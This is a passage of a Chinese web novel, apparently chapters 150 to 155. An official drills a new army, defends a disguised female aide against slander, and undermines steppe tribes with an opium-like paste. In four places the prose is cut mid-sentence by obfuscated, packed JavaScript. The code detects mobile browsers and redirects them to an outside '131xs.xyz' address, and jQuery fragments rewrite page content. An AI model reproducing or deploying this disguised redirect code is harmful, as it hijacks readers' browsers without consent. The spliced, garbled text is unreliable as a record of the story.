“让他跑。他会替我们,办完剩下的事。” …… 次日清晨,邢彬在自己的府中坐立不安,因为他等的消息迟迟没有来。 城里没有任何动静,陈平川被刺的消息没传来,顺城也没有全城封锁,搜捕凶犯的迹象。 “这群言而无信的蛮子!”邢彬啐了一口,“拿了钱不办事,真当我的钱是大风刮来的?” 他越想越气,当即带上一队心腹,气势汹汹地朝城外秃鹫部落赶去。 他要去问个清楚! 然而,他再也没能回来。 临近傍晚,顺城北门外,突然传来一阵骚乱和尖叫。 一队秃鹫部的骑兵,将十几个血淋淋的人头,像丢垃圾一样丢在城门下,随后纵马呼啸着离去。 守城的士兵壮着胆子上前查看,当他们看清其中一颗死不瞑目的人头时,吓得魂飞魄散。 是邢彬! 梁坤得到消息赶到时,只看到满地的鲜血和城门下那十几颗狰狞的人头。 他的身体晃了晃,几乎站立不稳。 为什么?为什么会这样? 不是说好的合作吗?秃鹫部为什么会杀了邢彬? 要杀的陈平川没死,邢彬反而掉了脑袋! 那个陈平川,到底干了什么? 此刻,知州府的书房内。 陈平川正悠然地为赵莽和刘四海斟茶。 两人已经得到邢彬**的消息,他们看着眼前这个神色平静的年轻人,心中早已是惊涛骇浪。 运筹帷幄,**无形。 这位新来的状元郎,比他们见过的任何豺狼虎豹,都要可怕百倍。 陈平川将一杯茶推到赵莽面前,淡淡道。 “赵将军,邢彬这颗钉子拔了,梁坤就成了独臂将军,不足为惧。接下来,咱们该专心对付城外的那些豺狼了。” 第151章 撼山易,撼岳家军难!陈家军雏形初现! 邢彬的死,确实让梁坤安分了许多,他对外称病,整日闭门不出。 然而,陈平川没有松懈,谁知道这家伙憋着什么坏? 蛮族帮陈平川拔掉邢彬这根钉子,但他们依旧是陈平川的心头大患,迟早要兵戎相见! 留给他的时间不多,必须争分夺秒。 他要打造一支能战的军队,筑起一道坚不可摧的城防。 否则,之前的一切心血,都将化为乌有。 所以,现在陈平川要和赵莽好好谈谈,怎么对付蛮族。 “赵将军,跟我说说城外那些蛮子。” 赵莽粗糙的手掌握住温热的茶碗,脸色凝重如铁。 “大人,边境蛮族,部落林立,其中以黑狼、秃鹫、苍鹰三部最为强大。这三部,如同草原上的三头饿狼,时刻觊觎着顺城这块骨头。” 他顿了顿,似乎在组织语言。 “他们的孩子自会走路起,便在马背上颠簸。弓箭是他们的玩具,弯刀是他们的手足。人人都是天生的骑士,战法剽悍,来去如风。” “去年秋,秃鹫部三百骑兵劫掠王家村,我派五百步卒追击,反被对方在平原上冲散,死伤过半。他们甚至不屑于打扫战场,割下耳朵便呼啸而去。” 赵莽的声音透着一股无力。 “我们有城墙,他们攻不进来。可我们的兵,也出不了城。没有骑兵,一旦野战,就是任人宰割的羔羊。” 陈平川静静听着,手指无意识地在桌上划动。 “他们的弱点呢?” “弱点……”赵莽沉吟片刻,“当然有。蛮族崇尚勇力,信奉萨满,但各部落并非铁板一块,为了草场、水源,他们自己也打得头破血流。只不过,一旦对外,他们会立刻团结起来,很难**。” “他们的骑兵很快,弱点也是快。因为后勤补给跟不上,打不了持久战。他们也不擅攻坚,纪律性极差,冲锋时像一窝蜂,溃败时也像一窝蜂。” “我和他们打了十几年交道,一直没有找到克制他们的办法,唉!” 陈平川的动作停下,他想起自己国家的历史,南宋与金国的情况和现在何其相似? 想到了南宋,一个跨越了时空的名字,自然而然在他脑海中浮现——岳飞。 陈平川眼睛亮起来! 岳飞带领岳家军打败了更强大的金国,他为什么不能? 没错,他也要打造一支能让草原狼群闻风丧胆的“陈家军”! “赵将军,我有个想法。” 陈平川直起腰板,拿起沙盘上的三支小旗。 “从明日起,打破顺城军原有编制。” 赵莽猛地抬头。 “所有士兵,按能力重新划分。分为三营:步兵营,弓兵营,以及……”陈平川将旗子一支支插下去,“斥候营!” “斥候营?”赵莽皱起眉头,“大人,我们的兵骑术远不如蛮子,战马也不如他们,派出去侦查,无异于送死。” “谁说斥候一定跑得快?”陈平川转过身,“他们的任务不是决战,是侦查、骚扰、破坏敌人的补给线,在敌人最意想不到的地方,插上一刀。我们要用他们的打法,来对付他们。” 赵莽还在消化这个全新的概念,陈平川又抛出了一个更让他无法理解的命令。 “还有,从明天开始,全军进行队列训练。” “队列训练?” “站军姿,走正步,练转向。” 赵莽彻底愣住了,他几乎以为自己听错了。 “大人!列队训练走给谁看?这是战场,不是给京城老爷们检阅的仪仗队!这……这是花架子,是浪费时间!” 他的嗓门一向不小,营帐外的士兵们听到了动静,纷纷探头探脑,窃窃私语。 “让我们跟木头桩子一样站着?” “还不如多练几趟劈砍。” “外行人练兵,这不是胡闹吗?” 怨气,开始在军营中蔓延。 陈平川没有解释。 他只是平静地看着赵莽:“将军信不过我?” 赵莽嘴唇翕动,最终还是抱拳:“末将不敢,只是……” “那就给我一百个人。”陈平川打断他,“挑一百个最听话的兵,一周后,我让你看到,这花架子到底有什么用。” 一周的时间,转瞬即逝。 校场上,尘土飞扬。 一边,是陈平川亲手训练的一百名士兵。 他们沉默地站成一个方阵,纹丝不动,仿佛一百根木头。 另一边,是赵莽挑选出的五百名精锐老兵。 他们松松垮垮地站着,交头接耳,不时对着那百人方阵指指点点,发出哄笑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990519|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>气氛充满了荒诞的对比。 “大人,这……人数相差五倍,是不是太……”赵莽心中没底。 陈平川只是举起了手。 “无妨,演练开始!” 随着一声令下,对面的五百人乱糟糟地呐喊着冲了过来,像一群散沙。 而陈平川这边,百人方阵动了。 “举盾!” “前进!” 没有呐喊,只有整齐划一的脚步声,咚!咚!咚!像一个巨人的心跳。 盾牌组成了一面不可逾越的铁墙,**从盾牌的缝隙中森然伸出。 他们没有冲锋,只是稳步向前推进。 那五百名散兵的冲锋,撞在这面移动的铁墙上,瞬间被撞得人仰马翻。前排的人想退,后排的人想进,乱成一团。 百人方阵没有丝毫停顿,继续推进。 踩过倒地的同袍,踩过丢弃的兵器。 破布包裹的枪头虽然不会造成伤害,但还是打得那些老兵油子鼻青脸肿,嗷嗷直叫。 很快,那五百人彻底崩溃了。 他们扔下武器,抱头鼠窜,仿佛他们面对的不是一百人,而是一千人! 整个校场,鸦雀无声。 所有围观的士兵,都张着嘴,发不出任何声音。 赵莽的嘴巴张得能塞下一个拳头,他揉了揉眼睛,不敢相信眼前的一切。 这不是战斗,这是碾压。 “撼山易,撼岳家军难!”陈平川喃喃自语,他只是按照岳飞练兵的方法学个皮**,效果就如此惊人! 心目中,岳飞的地位又高一层! “赵将军,现在你明白什么是‘令行禁止,步调一致’了吗?” 听到陈平川的声音,赵莽猛地回过神,他的脸上第一次露出了近乎敬畏的神情。 他郑重地抱拳,深深一揖。 “大人英明,末将……心服口服!” 怀疑的冰山一旦融化,改革的洪流便势不可挡。 陈平川趁热打铁,命城中工匠坊加班加点,打造他亲手绘制图纸的改良兵器——专门用来对付骑兵的“钩镰枪”和“麻扎刀”。 他又引入了“叠阵”战术,**在前,钩镰枪在后,**手再后,层层递进,环环相扣。 赵莽看过一次演练后,抚着胡须连连赞叹,觉得这套战法,大有可为! 第152章 陈大人金屋藏娇?梁坤:你的女人必须死! 紧接着,陈平川与赵莽共同制定了名为《十六斩》的严苛军法。 临阵脱逃者,斩! 贻误军机者,斩! …… 十六条军规,条条见血。 同时,设立“功过簿”,赏罚分明,提拔只看战功,不问出身。 军营的风气,焕然一新。 士兵们的眼中,重新燃起了光。 尤其是那些混日子的老兵油子,望着自己能够得着的军工,馋的要命,就盼着赶紧打仗,建功立业! 除了军规外,陈平川还下令,士兵不得骚扰百姓分毫,闲时还要帮助百姓修缮房屋,开垦荒地。 老百姓对军队的口碑也开始扭转,不像以前,看到士兵跟看到土匪蛮子一样。 最后,为了彻底解决了士兵们的后顾之忧,陈平川用府库的银子设立“军属抚恤基金”,保障他们的家人衣食无忧。 随着时间推移,军队,正在以肉眼可见的速度脱胎换骨。 这一切,梁坤都看在眼里。 他站在城楼上,看着校场上挥汗如雨的士兵,嘴角勾起一抹不屑。 天真,太天真! 靠着一群打了几年败仗的三千残兵,就想对抗纵横草原的狼群? 真不知道死字怎么写! 他盼望着,陈平川和他的军队被蛮族铁蹄踏得粉碎的那一天! 目光从校场移开,一道身影出现在梁坤的视野内。 “这是……陈平川带来的仆从。” 张若素抱着一摞厚重的账本,从粮草库返回文书房。 忽然一阵狂风卷过,将她手里的账本,连同脖颈处的方巾,一起吹上了天。 “啊!”她低呼一声,一头乌黑的长发瞬间如瀑布般倾泻而下,散落在肩头。 意识到自己暴露,张若素急忙捂住头发,连地上的账本也不顾,先去将方巾追回来,手忙脚乱地将头发包好,这才长长松口气。 她以为无人发现,却不知道,这一切都被梁坤看在眼里。 梁坤的瞳孔骤然收缩,继而,眼中闪过一丝喜悦。 女扮男装……混入军营……孤男寡女……干柴烈火…… 他咧嘴笑出声,等了这么久,陈平川终于露出了破绽。 这是上天赐予他的反击良机! 不过三日,一股暗流便在顺城之中涌动。 “听说了吗?陈大人身边那个俊俏的小厮,是个女的。” “真的假的?藏在军营里,这……这成何体统!” 曾经对陈平川奉若神明的百姓,此刻交头接耳,敬仰中掺了些许异样的揣测。 军营里的风声更紧。 “难怪咱们陈大人年纪轻轻,却不近女色,原来是金屋藏娇,带在身边了。” “一个女人混在军营,冲撞了煞气,这是大不祥的兆头啊!” 那些刚刚被整顿过来的士兵,心思又开始活泛。 他们可以为一个铁面无私、一心为民的“青天大老爷”卖命,但为一个“好色之徒”…… 所有人心里头,不免犯起了嘀咕。 张若素走在回文书房的路上,敏锐地察觉到了那些躲闪而又怪异的注视。 她不明所以,只是下意识地裹紧了衣领,加快了脚步。 府衙内,赵莽面色凝重地找到了陈平川。 “大人,军心不稳。” 陈平川正在查看新武器的样品,头也未抬。 “为了一句谣言?” 关于张若素的风言风语,早已传入他的耳中。 谁会传播这种谣言,不用多想,陈平川就知道是谁。 梁坤。 除了他,不会有别人。 一招釜底抽薪,诛心之计。 借着百姓们的流言蜚语,将他苦心打造的一切,毁于一旦。 梁坤现在盼着自己做什么? 是慌忙否认,欲盖弥彰? 还是将若素送走,坐实罪名? 无论哪一种,都对他不利。 “这不只是谣言!”赵莽的嗓门有些大,“军营乃阳刚之地,最忌讳这些阴私之事!更何况……他们说得有鼻子有眼,若不澄清,恐怕……” 就在这时,一名护卫匆匆闯入,在陈平川耳边低语几句。 陈平川的动作停滞了一瞬。 外面,传来一阵喧哗。 “陈大人!本官有要事禀报!” 梁坤的声音洪亮,带着“正义凛然”。 他身后,跟着十几个顺城官员,一个个义愤填膺,仿佛是来捉奸的。 陈平川缓步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990520|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走出公堂。 梁坤一见他,立刻上前一步,痛心疾首地拱手。 “陈大人,你我皆是圣上钦点的臣子,当为表率。可你……你怎能做出此等荒唐之事!” 他指向府衙后堂的方向,声音陡然拔高。 “将一介女流藏于军中,朝夕相处,秽乱军营!此乃大不祥之兆!更是对我大业律法的公然践踏!” 他身后的官员立刻附和。 “纲纪沦丧!成何体统!” “请陈大人为正视听,给我们顺城军民一个交代!” 府衙外,闻讯而来的百姓和士兵越聚越多,将门口堵得水泄不通。 他们望着公堂上的陈平川,脸上是复杂的表情。 他们不想看到,深受他们尊重和爱戴的好官,竟然是个好色之徒。 梁坤很满意这种效果,他要的就是公开审判。 他上前一步,几乎逼到陈平川面前,字字如刀。 “为保我顺城军心不散,为维我大业纲纪严明,下官恳请大人,将那女子……明正典刑,以儆效尤!” 杀了张若素! 杀了她,陈平川就彻底得罪了背后的**,自断一臂! 同时,也坐实了“荒淫无度”的罪名,彻底身败名裂。 陈平川眼睛眯起,一箭双雕,好毒的计! 他看着梁坤那张虚伪到极致的脸,看着堂下那些或幸灾乐祸、或动摇怀疑的官员。 此刻,任何辩解都是苍白的。 …… 后堂,一门之隔。 张若素听清了外面的每一句话,脸色瞬间煞白。 她明白了,那些怪异的目光,那些流言蜚语,全都是冲着她来的。 是她,给陈平川带来了这天大的麻烦。 咬着唇角,她拔下头上固定发髻的银簪,紧紧握在手中,簪尖对准了自己的脖颈。 然后缓步走了出来,众人见状顿时都愣住。 陈平川神色一沉,喝道:“若素,你干什么?把银簪放下!” 张若素的脸上没有一丝血色,但她的手却稳得出奇。 “陈先生,若素清白之身,岂容宵小污蔑!今日之事因我而起,绝不能连累先生清誉。若素愿以一死,自证清白,以全先生名节!” 第153章 灵魂拷问,你们要奸臣还是要巾帼? 周围的护卫看着她决绝的样子,不敢乱动。 梁坤的嘴角,已经抑制不住地开始上扬。 不管张若素是自尽,还是死在陈平川的手上,**都不会放过陈平川! 然而下一刻,他脸上的笑容凝固了。 只见陈平川迎着张若素走了过去,伸手握住了她持簪的手腕。 “先生,你,你放手!” 张若素心里一惊,想要挣扎,但被陈平川温热而有力的手死死地攥着,无法挣脱。 “别怕,有我在。” 陈平川伸出另外一只手,轻轻解开了她头上的方巾。 一头乌黑亮丽的青丝,如瀑布般倾泻而下,散落在她略显单薄的肩头。 “女儿身……” “真的是个女的!” 人群彻底炸开了锅。 张若素的眼眶顿时红了起来,羞愧得低下头,仿佛她身为女人就是个错误。 陈平川拿走张若素的银簪,拉着她转过身,环视全场。 他的声音平缓,却蕴含着千钧之力。 “诸位,说我携美同游,金屋藏娇,秽乱军营?” 他顿了顿,然后,声音陡然如洪钟大吕,震彻全场! “我告诉你们,你们错了!大错特错!” 他猛地转身,指向身边的张若素,高声道:“这位,不是我的美妾,更不是什么祸乱军营的祸水!她是我的‘战友’!是《安民论》的坚定拥护者和践行者!” “是她,在你们安睡的深夜,不眠不休,为顺城百姓计算着重新分配的钱粮账目!是她,核算清了被马德贪墨了整整三年的军饷和抚恤金,让阵亡将士的家属拿到了救命钱!” “她,是我们顺城的‘女先生’!更是敢于冲破世俗偏见,与我等男儿一同为国分忧的巾帼英雄!” 一番话,掷地有声! 那些曾经领到补发军饷和抚恤金的士兵,脸上开始发烫。 他们想起这位“小先生”清秀的脸上总是带着一丝疲惫,却微笑着将钱分发到他们手里。 还有那些被张若素施舍粥米的百姓,也没了声音,只剩下愧疚的表情。 陈平川的视线,如刀锋般转向梁坤。 “梁大人!你饱读圣贤之书,那你告诉我,哪个圣贤说过,不让女人报效国家?还是说,梁大人的圣贤书,只教了你党同伐异,构陷忠良?” “当边关危急,当蛮族寇边,你们这些满口仁义道德的大人,在京城安享富贵,在后方构陷忠良之时,是这位女子,在为城中百姓和前线的数千将士,计算着他们吃的每一粒米,拿到的每一文钱!” 他的质问,一声比一声凌厉。 “你们的眼中,只看到她是女子,只看到所谓的‘风化’与‘纲常’!” “而我的眼中,看到的是一颗忧国忧民、不让须眉的赤诚之心!” 他指向堂下所有官员,指向人群。 “不管她是男是女,只要心怀家国,为民做事,她就是好样的!请问在座各位,论对顺城的功绩,谁敢说比她更高?!” “论品行,谁又敢说比她更清白?!” 灵魂拷问,字字诛心! 梁坤被问得哑口无言,一张脸由红转青,由青转白。 他想反驳,却发现陈平川说的每一句都是事实!他想用纲常伦理压人,却在对方那“为国为民”的煌煌大义面前,显得无比渺小和肮脏。 他感受到了周围的气氛在变化,议论的风向也在转变,局势开始倒向陈平川那边。 而他成了孤家寡人。 就在这时,一个洪亮的声音自人群中响起。 赵莽分开人群,大步走到堂前,对着张若素郑重地抱拳,深深一揖。 “末将赵莽,一介武夫,不懂什么大道理!但末将知道,谁给我的弟兄们发军饷,谁让战死的弟兄们能够瞑目,谁就是我赵莽的恩人!末将,敬佩张先生高义!” 他转过身,面向那些士兵。 “顺城军营,欢迎张先生!” “欢迎张先生!” “我等欢迎张先生!” 校场上操练出的令行禁止,在这一刻展现得淋漓尽致。 数名将士齐刷刷高呼,海啸般的呐喊,震得府衙的房梁都在嗡嗡作响。 百姓们被这股气势感染,也跟着高呼起来。 “陈大人是青天!张先生也是好人!” “我们信陈大人!也信张先生!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990521|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>民心和军心,在这一刻,彻底倒向了陈平川。 张若素看着眼前这一幕,看着那些曾经用异样目光看她的士兵,此刻却用最真挚的尊敬对着她。 眼眶一热,两行清泪,再也忍不住,夺眶而出。 梁坤站在那里,如同一尊石雕,在众人的呼喊和鄙夷中,脸色铁青。 他知道,自己输了,输得一败涂地。 他拨开人群,讪讪离去,背影狼狈。 陈平川看向身边那个眼眶湿润,却露出欣慰笑容的女子,二人对视,彼此心中都涌起一股前所未有的异样情绪。 …… 黑狼部落的营地外,一支狩猎队踏着夕阳的余晖归来。 为首的青年跨坐在一匹神骏的黑马上,他叫塔利罕,黑狼首领的儿子。 年仅二十,眼神却像盘旋在天际的雄鹰,锐利得能刺穿人的骨头。 他的胸膛里,装着远超同龄人的城府与野心。 身后,几十名亲卫的马背上都捆着肥硕的黄羊或者雪鹿,这是足以让整个部落狂欢三天的收获。他想象着族人们的欢呼,姑娘们爱慕的眼神,以及父亲赞许的目光,嘴角不由得扬起一抹骄傲的弧度。 然而,迎接他的并非族人惯常的欢呼与烈酒。 整个部落,都笼罩在一种诡异的沉寂之中。 他看到许多往日里能徒手搏熊的勇士,此刻却脸色蜡黄,精神萎靡。 他们三五成群地聚在帐篷的阴影下,吸食着一种从铜管里冒出的、散发着奇特香气的黑膏,神情如痴如醉。 塔利罕的心猛地一沉。 他翻身下马,大步流星地冲进父亲的王帐。 一股浓郁的奇特的烟气扑面而来。 他那曾经威震草原、如同雄狮般的父亲,此刻正斜躺在厚厚的兽皮上,双眼浑浊无神,贪婪地吞吐着烟雾。 旁边,一个精致的黑檀木盒敞开着,里面盛着黑色的膏状物。 “父亲!” 塔利罕胸中怒火喷薄而出,他一个箭步上前,挥手将那只黑檀木盒打翻在地。 铜管滚落在地,黑膏洒了一片。 “你在做什么!这是什么东西?它正在毁掉我们的部落!” 第154章 草原新星崛起,致命对手上线! 老首领被惊扰,浑浊的眼睛里闪过一丝怒意,他挣扎着坐起来,对着儿子呵斥:“混账!谁准你如此无礼!” 他指着地上的黑膏,脸上竟露出一丝迷恋。 “这是‘神仙膏’,是能带来力量和快乐的宝物!是南边那个汉人皇帝才能享用的神物!” “神物?”塔利罕几乎要笑出声,笑声中充满了无尽的冰冷与嘲讽,“父亲!你看看外面那些战士!他们还拉得开弓吗?还举得起刀吗?我们的部落,正在被这东西腐蚀成一堆烂泥!” 父子二人爆发了激烈的争吵。 从“神仙膏”的危害,到部落的未来,再到战士的荣誉。 塔利罕第一次发现,父亲那钢铁般的意志,竟被这小小的黑膏腐蚀得如此脆弱不堪,而且变得偏执而又不可理喻。 争吵没有任何结果。 塔利罕心如刀绞,却强迫自己冷静下来。 愤怒解决不了任何问题。 他走出王帐,开始走访部落里的牧民和那些尚未被黑膏污染的族人。 真相,像剥洋葱一样,一层层被揭开。 自从那个叫巴图的蠢货从顺城带回这“神仙之物”后,一切都变了。 部落里最肥美的牛羊,牧民们辛苦积攒的皮货,女人佩戴的金银饰品,甚至战士们的铠甲和兵器,都源源不断地被运走,只为了从一个叫刘四海的汉人商人手里,换取那一口能让人飘飘欲仙的黑膏。 武备废弛,斗志全无。 这不是贸易。 这是一场不见血的战争! 那个新来的叫陈平川的汉**官,正在用这种阴损的**,还有那些华而不实的丝绸和瓷器,从内部瓦解草原上的部落! 塔利罕的血液几乎要凝固。 他立刻返回王帐,用最严厉的措辞,强硬地说服了意志消沉的父亲,以黑狼部的名义,邀请秃鹫、苍鹰等几大部落的首领,前来召开紧急会议。 会议就在黑狼部的王帐中举行。 当塔利罕将自己调查的结果和盘托出时,在场的几位部落首领,脸色瞬间变得惨白。 “那个刘四海,我也认识!我的部落里,最好的战马都被他用丝绸换走了!”苍鹰首领懊恼地捶着大腿。 “我们也是!战士们现在只想着吸那鬼东西,连操练都提不起劲!” “何止是操练!前几日,我手下最好的猎手,竟然为了抢一小盒黑膏自相残杀!这在草原上,是从未有过的耻辱!”秃鹫首领脸色铁青地补充道。 事态的严重,让他们幡然醒悟,惊恐万分。 几位首领立刻下达严令,试图强行禁止族人吸食。 然而,他们低估了“神仙膏”的魔力。 草原的部落医学落后,根本不知道怎么才能戒掉这“心瘾”,只能用最原始最粗暴的方式,可是效果却适得其反。 一场巨大的混乱,在各个部落同时爆发。 那些上瘾的族人,如同疯了一般。 戒断的痛苦让他们在地上打滚、哀嚎,用头撞击帐篷的柱子,如同被恶鬼附身。 为了得到一口黑膏,他们不惜拔刀砍向自己的妻儿、同族,整个草原乱成了一锅粥。 “够了!” 性情最为暴虐的秃鹫首领猛地拔出腰间的弯刀,狠狠插在众人面前的矮桌上,刀锋嗡嗡作响。 “既然戒不掉,那就去抢!”他环视众人,脸上满是杀气,“我们现在就联合起来,集结所有能动的兵马,攻破顺城!杀了那个叫陈平川的汉人!只要抢了他的府库,想要多少‘神仙膏’没有?想要多少钱粮女人没有?!” 这个提议,立刻得到了不少人的附和。 与其在这里痛苦地戒断,不如去抢来更多,先快活了再说。 “我反对。” 一个冷静的声音响起。 是塔利罕。 他摇了摇头,否定了这个鲁莽的计划。 秃鹫首领扭过头,不满地盯着这个年轻人:“小子,你有什么资格反对?” 在草原的联盟中,一切以实力说话。秃鹫部向来以凶悍著称,而塔利罕的黑狼部,虽曾强盛,但在他父亲这一代,实力已大不如前,在三部中隐隐垫底。 一个弱势部落的少主,公然反驳最强部落的首领,这本身就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990522|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种冒犯。 塔利罕没有理会他的挑衅,只是冷静地分析:“顺城城高墙厚,我们不擅攻坚。更何况,我听说那个陈平川刚整顿了军队,士气正盛。我们现在强攻,必然损失惨重,正中他的下怀。” 他顿了顿,继续开口:“而且,就算抢来了‘神仙膏’又如何?那只是饮鸩止渴。我们的勇士会彻底沦为废人,我们的部落会彻底烂掉!我们的敌人,不是‘神仙膏’,是陈平川这个人!是他的计谋!” 一番话,让帐内狂热的气氛冷却下来。 塔利罕站起身,走到地图前,手指重重地点在顺城的位置。 “我们必须断绝毒物的来源!但不是用蛮力!” 他提出了一个“釜底抽薪”的策略。 “第一,我们必须从内部开始,用最严酷的手段,强制我们的战士戒断!哪怕绑起来,也要让他们戒掉!恢复战斗力!” “第二,我们要制造一个假象!让陈平川以为我们因为戒断而内乱不休,甚至自相残杀,让他放松警惕!” “然后,”塔利罕的声音压低,却充满了冰冷的杀意,“集中我们所有部落真正的精锐骑兵,绕过正面,突袭最薄弱的西门!以雷霆之势,一举摧毁顺城的军队,活捉陈平川!” 他猛地握紧拳头。 “只有抓住他,彻底断绝毒源,才能一劳永逸地拯救我们的草原!” 帐篷内,鸦雀无声。 所有首领都看着这个年轻人,他缜密的分析,他环环相扣的计谋,他远超年龄的远见,让这些纵横草原多年的老狼们,都感到一阵心悸。 许久,秃鹫首领缓缓拔起桌上的弯刀,将其收回鞘中。 他看着塔利罕,郑重地点了点头:“好小子,比你爹强!就按你说的办!” “我们听你的!” “对!推举塔利罕为这次联盟的指挥!” 一颗草原上的新星,在最危急的时刻,冉冉升起。 他将成为陈平川到达顺城以来,最可怕,也最致命的对手。 同时,他也将是陈平川未来最强大的敌人之一。 …… 第155章 兵者诡道,秦王的神秘大礼! 与此同时,顺城。 刘四海的商铺里,一个面黄肌瘦、浑身发抖的男人跪在地上,苦苦哀求。 他是苍鹰部落的一个小贵族,家产已经全部换成了黑膏,如今身无分文,毒瘾却发作得厉害。 “刘掌柜,求求你,再给我一点……就一点……”他涕泪横流,“我告诉你一个天大的秘密!作为交换!” 刘四海厌恶地皱了皱眉,但还是丢过去一小块黑膏。 那贵族如获至宝,狼吞虎咽地吸食完,精神稍稍振作,便将部落联盟会议的内容,以及塔利罕那个“釜底抽薪”的计划,一五一十地全部泄露了出来。 刘四海脸上的笑容,一点点消失。 当他听完整件事后,后背瞬间被冷汗浸透。 他不敢有丝毫耽搁,飞快地冲出商铺,疯了一般地向知州府衙跑去。 此时,陈平川正在书房查看赵莽呈上来的军备清单。 “大人!大人!出大事了!” 刘四海不顾护卫的阻拦,慌慌张**了进来。 他将那份关乎顺城数万军民生死存亡的紧急军情,用颤抖的声音,报告给陈平川。 陈平川听完,缓缓放下手中的毛笔,脸色前所未有的凝重。 决战的时刻,提前到来了。 …… 赵莽被请到府衙,见陈平川负手立于地图前,许久没有言语。 听刘四海复述一边情报后,他的拳头砸在桌子上,发出沉闷的声响。 “塔利罕……好一个草原的小狼崽子,够狠,也够聪明!” 他抬起头,双眼望向陈平川,表情凝重。 “大人,此计若成,顺城危矣!” 张若素坐在一旁,停下手中毛笔,面露忧色。 陈平川转过身,脸上没有众人预想中的惊慌。 “赵将军,我们的家底,能撑多久?” 赵莽闻言,脸上露出一丝苦涩。 “大人,我不说虚的。” 他用力拍了拍自己悬挂的半身甲。 “这种还算完好的铠甲,全军上下,不足一半。多数弟兄们的甲胄,挡不住蛮子一记重劈。” “箭矢存量,勉强够全军三轮齐射。之后,就只能用血肉之躯去抗蛮子的铁蹄!” 他又指着城防图,声音更加沙哑: “顺城经过多年征战,城墙年久失修,多处需要修缮,滚木礌石更是因马德那厮的克扣,所剩无几。一旦蛮族联军围城,我们……撑不过十天!” 十天! 这个数字,让会议室陷入一片死寂。 陈平川望天:“若素,我们的钱还剩多少?” 张若素的指尖在账本上划过,最终停留在末尾的数字上。 “大人,我们前期的收入,大多用于补发军饷、抚恤金和开仓放粮。如今公济库虽有结余,但若要大规模采购军械、修缮城防,无异于杯水车薪。” 更大的难题:巧妇难为无米之炊。 赵莽看着陈平川,眼中满是忧色。 他相信这位年轻大人的计谋与能力,可面对数倍于己。 但面对统一指挥的蛮族联军,任何计谋在绝对的力量差距面前,都显得苍白无力。 陈平川的脑海中,无数个念头飞速闪过。 主动出击,在他们集结前,先下手为强? 不行,顺城守军装备太差,又没有骑兵掩护,无异于狼入虎口。向朝廷求援? 先不说援军会不会有,就算有,远水解不了近渴,等援军抵达,顺城早已化为一片焦土。 坚壁清野,拖垮他们? 蛮族这次是有备而来,目标明确,就是要一战定乾坤,不会给顺城拖延的机会。 一个个方案被提出,又被他自己迅速否决。 气氛压抑得让人喘不过气。 就在这时,一名护卫脚步匆匆,气喘吁吁地闯了进来。 “大人!城外来了一支庞大的商队,绵延数里,看不到头!他们打着秦王的旗号,说有要事求见大人!” 秦王? 陈平川心中一动。 赵莽和张若素也同时抬起头,脸上写满了惊疑。 秦王远在封地,与顺城相隔千里,怎会突然派人前来? 更何况,如此规模的商队,满载军械物资,一路行来,无异于公然挑战朝廷法度,这简直是匪夷所思! “开门!”陈平川没有丝毫犹豫,“开中门,我亲自迎接!” 在隆隆的机括声中,顺城那沉重的中门缓缓开启。 一支望不到尽头的车队,如同一条黑色长龙,静静地盘踞在城外。 为首的一名中年管事,看到陈平川亲自出迎,立刻翻身下马,脸上堆满了热情的笑容,几步上前便是一个响亮的拱手礼。 “陈大人,别来无恙!我家王爷说了,你这女婿在边关为国效力,他这个老丈人,总不能让你光着膀子上阵,所以特意送来薄礼!” 这一声“老丈人”,喊得整个城门内外都听得清清楚楚。 陈平川微微一怔,随即拱手还礼。 那管事也不多言,只是大手一挥。 “开箱!让陈大人验货!” 随着一声令下,离得最近的十几口大箱子被同时撬开。 “哐当!” 箱盖打开的瞬间,一片森然的寒光,在火把的映照下,刺痛了所有人的眼。 崭新的铠甲层层叠放,甲片在月光下闪烁着冰冷的光泽。 锋利的横刀整齐排列,刀刃上涂抹的防锈油膏反射着幽光。 一捆捆羽箭堆积如山,箭羽整齐,箭头锐利,仿佛随时都能离弦而出。 